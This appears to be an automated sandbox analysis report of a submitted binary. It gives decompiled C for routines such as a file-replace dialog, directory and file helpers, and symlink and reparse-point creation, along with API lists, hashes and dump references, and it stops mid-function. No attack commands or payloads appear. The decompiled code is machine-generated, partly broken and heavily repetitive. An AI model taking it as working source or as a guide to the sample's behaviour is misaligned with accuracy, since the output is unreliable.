0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fd758ba7dde391b4929bca7c4559b9a0eda90c5214b372d918765b671f7404e7
Instruction ID: 8fa740a924861cd88cb598b7b92d5cae3fca44485299939bf5a77703d2fa9d42
Opcode Fuzzy Hash: fd758ba7dde391b4929bca7c4559b9a0eda90c5214b372d918765b671f7404e7
Instruction Fuzzy Hash: 20A002E617A5137C316461516D06D3A511CC4D5B63334D559B8068444594A41C79153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D7ED Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D7ED() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ada4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d6f4
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8ec5eae61e04c44cc2c18d41ebbe86a1cde2f2f27dbbe720ecd173dcc0abadb5
Instruction ID: 8fa740a924861cd88cb598b7b92d5cae3fca44485299939bf5a77703d2fa9d42
Opcode Fuzzy Hash: 8ec5eae61e04c44cc2c18d41ebbe86a1cde2f2f27dbbe720ecd173dcc0abadb5
Instruction Fuzzy Hash: 20A002E617A5137C316461516D06D3A511CC4D5B63334D559B8068444594A41C79153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D7C5 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D7C5() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ada4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d6f4
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5d7e5bda951135dd74c4edfbcea331b19a592f8f30fd41cbabf734434b663dae
Instruction ID: 8fa740a924861cd88cb598b7b92d5cae3fca44485299939bf5a77703d2fa9d42
Opcode Fuzzy Hash: 5d7e5bda951135dd74c4edfbcea331b19a592f8f30fd41cbabf734434b663dae
Instruction Fuzzy Hash: 20A002E617A5137C316461516D06D3A511CC4D5B63334D559B8068444594A41C79153A

Uniqueness

Uniqueness Score: -1.00%

Function 0025D7D9 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E0025D7D9() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t7;
				void* _t8;

				_push(0x27ada4); // executed
				E0025DDAF(_t2, _t3, _t6, _t7, _t8); // executed
				goto __eax;
			}

0x0025d6f4
0x0025d6f9
0x0025d700

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0025D6F9

Part of subcall function 0025DDAF: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0025DE2C
Part of subcall function 0025DDAF: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0025DE3D

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6f2676c6e697413bc0e66cd9747d320b7f451f994eb6827c5beaac8ecf6ff154
Instruction ID: 8fa740a924861cd88cb598b7b92d5cae3fca44485299939bf5a77703d2fa9d42
Opcode Fuzzy Hash: 6f2676c6e697413bc0e66cd9747d320b7f451f994eb6827c5beaac8ecf6ff154
Instruction Fuzzy Hash: 20A002E617A5137C316461516D06D3A511CC4D5B63334D559B8068444594A41C79153A

Uniqueness

Uniqueness Score: -1.00%

Function 00249DFF Relevance: 1.5, APIs: 1, Instructions: 7
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00249DFF(void* __ecx) {
				int _t2;

				_t2 = SetEndOfFile( *(__ecx + 4)); // executed
				asm("sbb eax, eax");
				return  ~(_t2 - 1) + 1;
			}

0x00249e02
0x00249e0b
0x00249e0e

APIs

SetEndOfFile.KERNELBASE(?,002490AB,?,?,-00001960), ref: 00249E02

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 58f42a532dc563f90f6a0e3405cbd933bb9ab490a803c7735c094387fffc4f8f
Instruction ID: b145c129153e19f6cb5d6378652322d64e51a54196aabde6778de60348aee5ad
Opcode Fuzzy Hash: 58f42a532dc563f90f6a0e3405cbd933bb9ab490a803c7735c094387fffc4f8f
Instruction Fuzzy Hash: 90B012300A0015868E002B30DC088143A15F6213063004160A006C5060DB12C0079600

Uniqueness

Uniqueness Score: -1.00%

Function 0025A2A0 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0025A2A0(WCHAR* _a4) {
				signed int _t2;

				_t2 = SetCurrentDirectoryW(_a4); // executed
				asm("sbb eax, eax");
				return  ~( ~_t2);
			}

0x0025a2a4
0x0025a2ac
0x0025a2b0

APIs

SetCurrentDirectoryW.KERNELBASE(?,0025A507,C:\Users\user\Desktop,00000000,0028846A,00000006), ref: 0025A2A4

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 99b445b9664d488e330bd25510c45d8ff67f42fa6f8127eb21cd5d7b3067a02d
Instruction ID: 99add425beb3b8afc23389ebc21ed9a82cdbc5b1dbdf5f31dabbfef1eae09607
Opcode Fuzzy Hash: 99b445b9664d488e330bd25510c45d8ff67f42fa6f8127eb21cd5d7b3067a02d
Instruction Fuzzy Hash: 22A01230194006868E000B30DD0DC1576516760702F008620B10AC00A1CB308854A500

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0025B820 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286
timewindowfileCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E0025B820(void* __ecx, void* __edx, void* __eflags, char _a4, short _a8, char _a12, short _a108, short _a112, char _a192, char _a212, struct _WIN32_FIND_DATAW _a288, signed char _a304, signed char _a308, struct _FILETIME _a332, intOrPtr _a340, intOrPtr _a344, short _a884, short _a896, short _a900, int _a1904, char _a1924, int _a1928, short _a2596, short _a2616, char _a2628, char _a2640, struct HWND__* _a6740, intOrPtr _a6744, signed short _a6748, intOrPtr _a6752) {
				struct _FILETIME _v0;
				struct _SYSTEMTIME _v12;
				struct _SYSTEMTIME _v16;
				struct _FILETIME _v24;
				void* _t73;
				void* _t136;
				long _t137;
				void* _t141;
				void* _t142;
				void* _t143;
				void* _t144;
				void* _t145;
				signed short _t148;
				void* _t149;
				void* _t151;
				void* _t152;
				intOrPtr _t153;
				signed int _t154;
				signed int _t158;
				struct HWND__* _t160;
				intOrPtr _t163;
				void* _t164;
				int _t167;
				int _t170;
				void* _t175;
				void* _t177;

				_t157 = __edx;
				_t152 = __ecx;
				E0025E1C0();
				_t148 = _a6748;
				_t163 = _a6744;
				_t160 = _a6740;
				if(E0024130B(__edx, _t160, _t163, _t148, _a6752, L"REPLACEFILEDLG", 0, 0) == 0) {
					_t164 = _t163 - 0x110;
					if(_t164 == 0) {
						SetFocus(GetDlgItem(_t160, 0x6c));
						E0024FD96( &_a2640, _a6752, 0x800);
						E0024BC9B( &_a2628,  &_a2628, 0x800);
						SetDlgItemTextW(_t160, 0x65,  &_a2616);
						 *0x2a1080( &_a2616, 0,  &_a1924, 0x2b4, 0x100);
						SendDlgItemMessageW(_t160, 0x66, 0x170, _a1904, 0);
						_t149 = FindFirstFileW( &_a2596,  &_a288);
						if(_t149 != 0xffffffff) {
							FileTimeToLocalFileTime( &_a332,  &(_v24.dwHighDateTime));
							FileTimeToSystemTime( &(_v24.dwHighDateTime),  &_v12);
							_push(0x32);
							_push( &_a12);
							_push(0);
							_push( &_v12);
							_t167 = 2;
							GetTimeFormatW(0x400, 0x800, ??, ??, ??, ??);
							GetDateFormatW(0x400, 0,  &_v12, 0,  &_a112, 0x32);
							_push( &_a12);
							_push( &_a112);
							E00243FD6( &_a900, 0x200, L"%s %s %s", E0024DD11(_t152, 0x99));
							_t177 = _t175 + 0x18;
							SetDlgItemTextW(_t160, 0x6a,  &_a900);
							FindClose(_t149);
							if((_a308 & 0x00000010) != 0) {
								_t151 = 0x200;
							} else {
								asm("adc eax, ebp");
								E0025A5BC(0 + _a344, _a340,  &_a212, 0x32);
								_push(E0024DD11(0 + _a344, 0x98));
								_t151 = 0x200;
								E00243FD6( &_a884, 0x200, L"%s %s",  &_a192);
								_t177 = _t177 + 0x14;
								SetDlgItemTextW(_t160, 0x68,  &_a884);
							}
							SendDlgItemMessageW(_t160, 0x67, 0x170, _a1928, 0);
							_t153 =  *0x287464; // 0x0
							E00250B3D(_t153, _t157,  &_a4);
							FileTimeToLocalFileTime( &_v0,  &_v24);
							FileTimeToSystemTime( &_v24,  &_v16);
							GetTimeFormatW(0x400, _t167,  &_v16, 0,  &_a8, 0x32);
							GetDateFormatW(0x400, 0,  &_v16, 0,  &_a108, 0x32);
							_push( &_a8);
							_push( &_a108);
							E00243FD6( &_a896, _t151, L"%s %s %s", E0024DD11(_t153, 0x99));
							_t175 = _t177 + 0x18;
							SetDlgItemTextW(_t160, 0x6b,  &_a896);
							_t154 =  *0x29cc84;
							_t158 =  *0x29cc80;
							if((_a304 & 0x00000010) == 0 || (_t158 | _t154) != 0) {
								E0025A5BC(_t158, _t154,  &_a212, 0x32);
								_push(E0024DD11(_t154, 0x98));
								E00243FD6( &_a884, _t151, L"%s %s",  &_a192);
								_t175 = _t175 + 0x14;
								SetDlgItemTextW(_t160, 0x69,  &_a884);
							}
						}
						L27:
						_t73 = 0;
						L28:
						return _t73;
					}
					if(_t164 != 1) {
						goto L27;
					}
					_t170 = 2;
					_t136 = (_t148 & 0x0000ffff) - _t170;
					if(_t136 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t170);
						L13:
						_t137 = SendDlgItemMessageW(_t160, 0x66, 0x171, 0, 0);
						if(_t137 != 0) {
							 *0x2a10cc(_t137);
						}
						EndDialog(_t160, _t170);
						goto L1;
					}
					_t141 = _t136 - 0x6a;
					if(_t141 == 0) {
						_t170 = 0;
						goto L13;
					}
					_t142 = _t141 - 1;
					if(_t142 == 0) {
						_t170 = 1;
						goto L13;
					}
					_t143 = _t142 - 1;
					if(_t143 == 0) {
						_push(4);
						goto L12;
					}
					_t144 = _t143 - 1;
					if(_t144 == 0) {
						goto L13;
					}
					_t145 = _t144 - 1;
					if(_t145 == 0) {
						_push(3);
						goto L12;
					}
					if(_t145 != 1) {
						goto L27;
					}
					goto L11;
				}
				L1:
				_t73 = 1;
				goto L28;
			}

0x0025b820
0x0025b820
0x0025b825
0x0025b82b
0x0025b834
0x0025b83e
0x0025b85d
0x0025b867
0x0025b86d
0x0025b8e7
0x0025b902
0x0025b911
0x0025b921
0x0025b942
0x0025b958
0x0025b974
0x0025b979
0x0025b98c
0x0025b99c
0x0025b9a2
0x0025b9a8
0x0025b9a9
0x0025b9ae
0x0025b9b1
0x0025b9b8
0x0025b9d4
0x0025b9de
0x0025b9e6
0x0025ba04
0x0025ba09
0x0025ba17
0x0025ba1e
0x0025ba2c
0x0025ba92
0x0025ba2e
0x0025ba48
0x0025ba4c
0x0025ba5b
0x0025ba63
0x0025ba77
0x0025ba7c
0x0025ba8a
0x0025ba8a
0x0025baa7
0x0025baad
0x0025bab8
0x0025bac7
0x0025bad7
0x0025baf1
0x0025bb09
0x0025bb13
0x0025bb1b
0x0025bb35
0x0025bb3a
0x0025bb48
0x0025bb56
0x0025bb5c
0x0025bb62
0x0025bb76
0x0025bb85
0x0025bb9c
0x0025bba1
0x0025bbaf
0x0025bbaf
0x0025bb62
0x0025bbb5
0x0025bbb5
0x0025bbb7
0x0025bbc1
0x0025bbc1
0x0025b872
0x00000000
0x00000000
0x0025b87d
0x0025b87e
0x0025b880
0x0025b8a4
0x0025b8a4
0x0025b8a6
0x0025b8a6
0x0025b8a7
0x0025b8b1
0x0025b8b9
0x0025b8bc
0x0025b8bc
0x0025b8c4
0x00000000
0x0025b8c4
0x0025b882
0x0025b885
0x0025b8d9
0x00000000
0x0025b8d9
0x0025b887
0x0025b88a
0x0025b8d6
0x00000000
0x0025b8d6
0x0025b88c
0x0025b88f
0x0025b8d0
0x00000000
0x0025b8d0
0x0025b891
0x0025b894
0x00000000
0x00000000
0x0025b896
0x0025b899
0x0025b8cc
0x00000000
0x0025b8cc
0x0025b89e
0x00000000
0x00000000
0x00000000
0x0025b89e
0x0025b85f
0x0025b861
0x00000000

APIs

Part of subcall function 0024130B: GetDlgItem.USER32(00000000,00003021), ref: 0024134F
Part of subcall function 0024130B: SetWindowTextW.USER32(00000000,002725B4), ref: 00241365

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 0025B8B1
EndDialog.USER32(?,00000006), ref: 0025B8C4
GetDlgItem.USER32(?,0000006C), ref: 0025B8E0
SetFocus.USER32(00000000), ref: 0025B8E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 0025B921
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 0025B958
FindFirstFileW.KERNEL32(?,?), ref: 0025B96E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0025B98C
FileTimeToSystemTime.KERNEL32(?,?), ref: 0025B99C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0025B9B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0025B9D4
_swprintf.LIBCMT ref: 0025BA04

Part of subcall function 00243FD6: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00243FE9

SetDlgItemTextW.USER32(?,0000006A,?), ref: 0025BA17
FindClose.KERNEL32(00000000), ref: 0025BA1E
_swprintf.LIBCMT ref: 0025BA77
SetDlgItemTextW.USER32(?,00000068,?), ref: 0025BA8A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 0025BAA7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 0025BAC7
FileTimeToSystemTime.KERNEL32(?,?), ref: 0025BAD7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 0025BAF1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 0025BB09
_swprintf.LIBCMT ref: 0025BB35
SetDlgItemTextW.USER32(?,0000006B,?), ref: 0025BB48
_swprintf.LIBCMT ref: 0025BB9C
SetDlgItemTextW.USER32(?,00000069,?), ref: 0025BBAF

Part of subcall function 0025A5BC: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0025A5E2
Part of subcall function 0025A5BC: GetNumberFormatW.KERNEL32 ref: 0025A631

Strings

%s %s %s, xrefs: 0025B9F2, 0025BB27
%s %s, xrefs: 0025BA69, 0025BB8E
REPLACEFILEDLG, xrefs: 0025B847

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: a3b5990f37c3151e6065eae9edbe78f1c566564adccb54fa2397b6ae9d786c0f
Instruction ID: 97118e3c85ff7688a2cc9a4e24d164337b73019bb4a0febac8c3ca8e4b20d026
Opcode Fuzzy Hash: a3b5990f37c3151e6065eae9edbe78f1c566564adccb54fa2397b6ae9d786c0f
Instruction Fuzzy Hash: E091A572658349BFE321DBA0DC4DFEB77ACEB4A711F404819FB49D2081D77196188B62

Uniqueness

Uniqueness Score: -1.00%

Function 00247165 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 296
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00247165(void* __edx) {
				void* __esi;
				signed int _t108;
				void* _t110;
				intOrPtr _t113;
				int _t115;
				intOrPtr _t118;
				signed int _t136;
				int _t142;
				void* _t176;
				void* _t179;
				void* _t184;
				short _t185;
				intOrPtr _t191;
				void* _t196;
				void* _t197;
				void* _t216;
				void* _t217;
				intOrPtr _t218;
				intOrPtr _t220;
				void* _t222;
				WCHAR* _t223;
				intOrPtr _t227;
				short _t231;
				void* _t232;
				intOrPtr _t233;
				short _t235;
				void* _t236;
				void* _t238;
				void* _t239;

				_t217 = __edx;
				E0025E0E4(E00271C05, _t236);
				E0025E1C0();
				 *((intOrPtr*)(_t236 - 0x1c)) = 1;
				if( *0x27feb3 == 0) {
					E00247BCE(L"SeRestorePrivilege");
					E00247BCE(L"SeCreateSymbolicLinkPrivilege");
					 *0x27feb3 = 1;
				}
				_t193 = _t236 - 0x30;
				E00247076(_t236 - 0x30, 0x1418);
				_t191 =  *((intOrPtr*)(_t236 + 0x10));
				 *(_t236 - 4) =  *(_t236 - 4) & 0x00000000;
				E0024FD96(_t236 - 0x1080, _t191 + 0x1104, 0x800);
				 *((intOrPtr*)(_t236 - 0x18)) = E002633F3(_t236 - 0x1080);
				_t226 = _t236 - 0x1080;
				_t222 = _t236 - 0x2080;
				_t108 = E00265668(_t236 - 0x1080, L"\\??\\", 4);
				_t239 = _t238 + 0x10;
				asm("sbb al, al");
				_t110 =  ~_t108 + 1;
				 *(_t236 - 0x10) = _t110;
				if(_t110 != 0) {
					_t226 = _t236 - 0x1078;
					_t184 = E00265668(_t236 - 0x1078, L"UNC\\", 4);
					_t239 = _t239 + 0xc;
					if(_t184 == 0) {
						_t185 = 0x5c;
						 *((short*)(_t236 - 0x2080)) = _t185;
						_t222 = _t236 - 0x207e;
						_t226 = _t236 - 0x1072;
					}
				}
				E00265646(_t222, _t226);
				_t113 = E002633F3(_t236 - 0x2080);
				_t227 =  *((intOrPtr*)(_t236 + 8));
				_t223 =  *(_t236 + 0xc);
				 *((intOrPtr*)(_t236 - 0x14)) = _t113;
				if( *((char*)(_t227 + 0x618f)) != 0) {
					L9:
					_push(1);
					_push(_t223);
					E00249F8F(_t193, _t236);
					if( *((char*)(_t191 + 0x10f1)) != 0 ||  *((char*)(_t191 + 0x2104)) != 0) {
						_t115 = CreateDirectoryW(_t223, 0);
						__eflags = _t115;
						if(_t115 == 0) {
							goto L27;
						}
						goto L14;
					} else {
						_t176 = CreateFileW(_t223, 0x40000000, 0, 0, 1, 0x80, 0);
						if(_t176 == 0xffffffff) {
							L27:
							 *((char*)(_t236 - 0x1c)) = 0;
							L28:
							E002415D1(_t236 - 0x30);
							 *[fs:0x0] =  *((intOrPtr*)(_t236 - 0xc));
							return  *((intOrPtr*)(_t236 - 0x1c));
						}
						CloseHandle(_t176);
						L14:
						_t118 =  *((intOrPtr*)(_t191 + 0x1100));
						if(_t118 != 3) {
							__eflags = _t118 - 2;
							if(_t118 == 2) {
								L18:
								_t196 =  *(_t236 - 0x30);
								_t218 =  *((intOrPtr*)(_t236 - 0x18));
								 *_t196 = 0xa000000c;
								_t231 = _t218 + _t218;
								 *((short*)(_t196 + 0xa)) = _t231;
								 *((short*)(_t196 + 4)) = 0x10 + ( *((intOrPtr*)(_t236 - 0x14)) + _t218) * 2;
								 *((intOrPtr*)(_t196 + 6)) = 0;
								E00265646(_t196 + 0x14, _t236 - 0x1080);
								_t60 = _t231 + 2; // 0x3
								_t232 =  *(_t236 - 0x30);
								 *((short*)(_t232 + 0xc)) = _t60;
								 *((short*)(_t232 + 0xe)) =  *((intOrPtr*)(_t236 - 0x14)) +  *((intOrPtr*)(_t236 - 0x14));
								E00265646(_t232 + ( *((intOrPtr*)(_t236 - 0x18)) + 0xb) * 2, _t236 - 0x2080);
								_t136 =  *(_t236 - 0x10) & 0x000000ff ^ 0x00000001;
								__eflags = _t136;
								 *(_t232 + 0x10) = _t136;
								L19:
								_t197 = CreateFileW(_t223, 0xc0000000, 0, 0, 3, 0x2200000, 0);
								 *(_t236 - 0x10) = _t197;
								if(_t197 == 0xffffffff) {
									goto L27;
								}
								_t142 = DeviceIoControl(_t197, 0x900a4, _t232, ( *(_t232 + 4) & 0x0000ffff) + 8, 0, 0, _t236 - 0x34, 0);
								_t256 = _t142;
								if(_t142 != 0) {
									E002495B6(_t236 - 0x30a4);
									 *(_t236 - 4) = 1;
									E00247BAD(_t236 - 0x30a4,  *(_t236 - 0x10));
									_t233 =  *((intOrPtr*)(_t236 + 8));
									asm("sbb ecx, ecx");
									asm("sbb ecx, ecx");
									asm("sbb ecx, ecx");
									E00249CA2(_t236 - 0x30a4, _t233,  ~( *(_t233 + 0x72c8)) & _t191 + 0x00001040,  ~( *(_t233 + 0x72cc)) & _t191 + 0x00001048,  ~( *(_t233 + 0x72d0)) & _t191 + 0x00001050);
									E00249670(_t236 - 0x30a4);
									__eflags =  *((char*)(_t233 + 0x61a0));
									if( *((char*)(_t233 + 0x61a0)) == 0) {
										E0024A384(_t223,  *((intOrPtr*)(_t191 + 0x24)));
									}
									E002495E8(_t236 - 0x30a4, _t233);
									goto L28;
								}
								CloseHandle( *(_t236 - 0x10));
								E00247032(_t256, 0x15, 0, _t223);
								_t154 = GetLastError();
								if(_t154 == 5 || _t154 == 0x522) {
									if(E0024FF7D() == 0) {
										E0024159C(_t236 - 0x80, 0x18);
										_t154 = E00250D97(_t236 - 0x80);
									}
								}
								E00262DC0(_t154);
								E00246F5B(0x27ff50, 9);
								_push(_t223);
								if( *((char*)(_t191 + 0x10f1)) == 0) {
									DeleteFileW();
								} else {
									RemoveDirectoryW();
								}
								goto L27;
							}
							__eflags = _t118 - 1;
							if(_t118 != 1) {
								goto L27;
							}
							goto L18;
						}
						_t216 =  *(_t236 - 0x30);
						_t220 =  *((intOrPtr*)(_t236 - 0x18));
						 *_t216 = 0xa0000003;
						_t235 = _t220 + _t220;
						 *((short*)(_t216 + 0xa)) = _t235;
						 *((short*)(_t216 + 4)) = 0xc + ( *((intOrPtr*)(_t236 - 0x14)) + _t220) * 2;
						 *((intOrPtr*)(_t216 + 6)) = 0;
						E00265646(_t216 + 0x10, _t236 - 0x1080);
						_t40 = _t235 + 2; // 0x3
						_t232 =  *(_t236 - 0x30);
						 *((short*)(_t232 + 0xc)) = _t40;
						 *((short*)(_t232 + 0xe)) =  *((intOrPtr*)(_t236 - 0x14)) +  *((intOrPtr*)(_t236 - 0x14));
